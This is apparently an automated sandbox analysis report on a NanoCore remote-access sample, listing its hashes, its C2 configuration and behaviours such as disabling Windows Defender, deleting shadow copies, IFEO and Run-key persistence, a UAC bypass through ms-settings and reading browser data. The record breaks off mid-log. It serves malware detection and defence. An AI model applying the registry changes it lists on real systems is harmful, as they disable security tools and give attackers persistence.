Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
10/08/2026, 22:23
Behavioral task
behavioral1
Sample
grafme.com_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
grafme.com_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
44 signatures
150 seconds
General
- Target grafme.com_chrome.exe
- Size 48KB
- Sample260810-2a4bxaah84
- SHA256 1dc680f9da322e7f7eaf690f524e607698cca6f566c18ec10581c8d2615cf10a
- MD5 6fd0400337029cc7f97cdd563a2302c4
- SHA1 30d3f672a0aee77c5bc6e0c232d395c7af0775e6
- SHA512 453da20b27c4d4a9906e1008c5b3672086daaf0bb3bd0ded13c53058d86b302f5dbb9489b4442590eed4e27b7a1ba0ac22fcfc1f845c10e3ecfb8fb72c5e5ac5
- SSDEEP 768:1hACrXoD+LmjXsvFisuF94S//o4GC1XXGblfA0FKFcz:jjEDY2SA9WSI4GEXGblf9Fucz
- TLSH T14923070437F98511E2FF5ABA4DB19601AB30F4A79C22D78E06D5058E1AB3740DEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://grafme.com
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://grafme.com
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4304-0-0x00000000004F0000-0x0000000000502000-memory.dmp disable_win_def behavioral1/files/0x000700000002491f-2351.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" grafme.com_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" grafme.com_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2792 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" grafme.com_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts grafme.com_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe grafme.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe grafme.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe grafme.com_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5984 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation grafme.com_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf grafme.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf grafme.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf grafme.com_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5140 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\sysupdate.exe grafme.com_chrome.exe File created C:\Windows\system32\svchost.exe grafme.com_chrome.exe File created C:\Windows\system32\sysupdate.exe grafme.com_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5464 wscript.exe 5744 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" grafme.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" grafme.com_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1796 sc.exe 2384 sc.exe 4968 sc.exe 4296 sc.exe 1844 sc.exe 752 sc.exe 4400 sc.exe 288 sc.exe 3136 sc.exe 4804 sc.exe 2256 sc.exe 3088 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5364 cmd.exe 5336 cmd.exe 5344 cmd.exe 3928 cmd.exe 5332 cmd.exe 5272 cmd.exe 5404 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1008 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 116 NETSTAT.EXE 4916 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 220 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3528 vssadmin.exe 2360 vssadmin.exe 3552 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\WallpaperStyle = "2" grafme.com_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308742384573329" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open grafme.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell grafme.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings grafme.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open grafme.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command\DelegateExecute grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell grafme.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe\" \"%1\"" grafme.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\.pdf\ = "PDFBotnet" grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet grafme.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open grafme.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell grafme.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe" grafme.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings grafme.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command grafme.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command grafme.com_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3092 schtasks.exe 5616 schtasks.exe 2400 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4852 chrome.exe 4852 chrome.exe 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe 4304 grafme.com_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4304 grafme.com_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeDebugPrivilege 2792 powershell.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeIncreaseQuotaPrivilege 612 WMIC.exe Token: SeSecurityPrivilege 612 WMIC.exe Token: SeTakeOwnershipPrivilege 612 WMIC.exe Token: SeLoadDriverPrivilege 612 WMIC.exe Token: SeSystemProfilePrivilege 612 WMIC.exe Token: SeSystemtimePrivilege 612 WMIC.exe Token: SeProfSingleProcessPrivilege 612 WMIC.exe Token: SeIncBasePriorityPrivilege 612 WMIC.exe Token: SeCreatePagefilePrivilege 612 WMIC.exe Token: SeBackupPrivilege 612 WMIC.exe Token: SeRestorePrivilege 612 WMIC.exe Token: SeShutdownPrivilege 612 WMIC.exe Token: SeDebugPrivilege 612 WMIC.exe Token: SeSystemEnvironmentPrivilege 612 WMIC.exe Token: SeRemoteShutdownPrivilege 612 WMIC.exe Token: SeUndockPrivilege 612 WMIC.exe Token: SeManageVolumePrivilege 612 WMIC.exe Token: 33 612 WMIC.exe Token: 34 612 WMIC.exe Token: 35 612 WMIC.exe Token: 36 612 WMIC.exe Token: SeIncreaseQuotaPrivilege 612 WMIC.exe Token: SeSecurityPrivilege 612 WMIC.exe Token: SeTakeOwnershipPrivilege 612 WMIC.exe Token: SeLoadDriverPrivilege 612 WMIC.exe Token: SeSystemProfilePrivilege 612 WMIC.exe Token: SeSystemtimePrivilege 612 WMIC.exe Token: SeProfSingleProcessPrivilege 612 WMIC.exe Token: SeIncBasePriorityPrivilege 612 WMIC.exe Token: SeCreatePagefilePrivilege 612 WMIC.exe Token: SeBackupPrivilege 612 WMIC.exe Token: SeRestorePrivilege 612 WMIC.exe Token: SeShutdownPrivilege 612 WMIC.exe Token: SeDebugPrivilege 612 WMIC.exe Token: SeSystemEnvironmentPrivilege 612 WMIC.exe Token: SeRemoteShutdownPrivilege 612 WMIC.exe Token: SeUndockPrivilege 612 WMIC.exe Token: SeManageVolumePrivilege 612 WMIC.exe Token: 33 612 WMIC.exe Token: 34 612 WMIC.exe Token: 35 612 WMIC.exe Token: 36 612 WMIC.exe Token: SeBackupPrivilege 3404 vssvc.exe Token: SeRestorePrivilege 3404 vssvc.exe Token: SeAuditPrivilege 3404 vssvc.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeDebugPrivilege 4304 grafme.com_chrome.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeShutdownPrivilege 4852 chrome.exe Token: SeCreatePagefilePrivilege 4852 chrome.exe Token: SeIncBasePriorityPrivilege 4304 grafme.com_chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe 4852 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4304 grafme.com_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4304 wrote to memory of 4852 4304 grafme.com_chrome.exe 85 PID 4852 wrote to memory of 1600 4852 chrome.exe 86 PID 4304 wrote to memory of 2792 4304 grafme.com_chrome.exe 87 PID 4304 wrote to memory of 4296 4304 grafme.com_chrome.exe 88 PID 4304 wrote to memory of 4804 4304 grafme.com_chrome.exe 90 PID 4304 wrote to memory of 1844 4304 grafme.com_chrome.exe 92 PID 4304 wrote to memory of 2256 4304 grafme.com_chrome.exe 94 PID 4304 wrote to memory of 3088 4304 grafme.com_chrome.exe 97 PID 4304 wrote to memory of 752 4304 grafme.com_chrome.exe 99 PID 4304 wrote to memory of 1796 4304 grafme.com_chrome.exe 101 PID 4304 wrote to memory of 2384 4304 grafme.com_chrome.exe 103 PID 4304 wrote to memory of 3396 4304 grafme.com_chrome.exe 104 PID 4304 wrote to memory of 4400 4304 grafme.com_chrome.exe 106 PID 4304 wrote to memory of 4968 4304 grafme.com_chrome.exe 108 PID 4304 wrote to memory of 3528 4304 grafme.com_chrome.exe 110 PID 4304 wrote to memory of 612 4304 grafme.com_chrome.exe 112 PID 4852 wrote to memory of 3824 4852 chrome.exe 114 PID 4852 wrote to memory of 3824 4852 chrome.exe 114 PID 4852 wrote to memory of 1008 4852 chrome.exe 115 PID 4852 wrote to memory of 1392 4852 chrome.exe 116 PID 4852 wrote to memory of 1392 4852 chrome.exe 116 PID 4852 wrote to memory of 4676 4852 chrome.exe 118 PID 4852 wrote to memory of 3148 4852 chrome.exe 119 PID 4852 wrote to memory of 4676 4852 chrome.exe 118 PID 4852 wrote to memory of 3148 4852 chrome.exe 119 PID 4852 wrote to memory of 3284 4852 chrome.exe 120 PID 4852 wrote to memory of 3284 4852 chrome.exe 120 PID 3396 wrote to memory of 4760 3396 fodhelper.exe 157 PID 4852 wrote to memory of 